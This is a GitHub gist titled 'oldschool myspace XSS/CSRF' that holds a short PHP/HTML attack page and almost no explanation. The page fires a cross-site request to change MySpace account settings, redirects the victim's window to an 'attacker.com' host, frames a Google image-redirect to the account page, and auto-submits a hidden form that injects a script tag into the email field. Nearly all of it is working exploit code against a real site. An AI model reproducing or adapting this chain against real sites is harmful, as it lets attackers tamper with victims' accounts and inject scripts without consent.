Skip to content

Instantly share code, notes, and snippets.

@mistymntncop
Created April 9, 2024 03:04
Show Gist options
  • Save mistymntncop/3f920811ab077858f2c86e2882f5844b to your computer and use it in GitHub Desktop.
Save mistymntncop/3f920811ab077858f2c86e2882f5844b to your computer and use it in GitHub Desktop.
oldschool myspace XSS/CSRF
<?php header("Status: 204"); ?>
<script type="text/javascript">
(new Image().src="http://collect.myspace.com/index.cfm?fuseaction=user.cancelEmailChange&z=1");
var counter = 0;
window.onbeforeunload = function() { counter++; };
setInterval(function() {
if(counter == 1) {
window.top.location = 'http://attacker.com/204.php';
createFrame();
}
}, 80);
function createFrame() {
var iframe = document.createElement('iframe');
iframe.src = 'http://images.google.com.au/imgres?imgurl=x&imgrefurl=' +
'http://profileedit.myspace.com/index.cfm?fuseaction=accountSettings.account';
document.body.appendChild(iframe);
}
</script>
<iframe name="hiddenframe"></iframe>
<form name="autopost" method="post" target="hiddenframe" action="http://settings.myspace.com/user/accountSetting_update.cfm?z=1">
<input type="hidden" name="email" value="<script>alert(0);</script>" />
</form>
<body onload="autopost.submit();"></body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment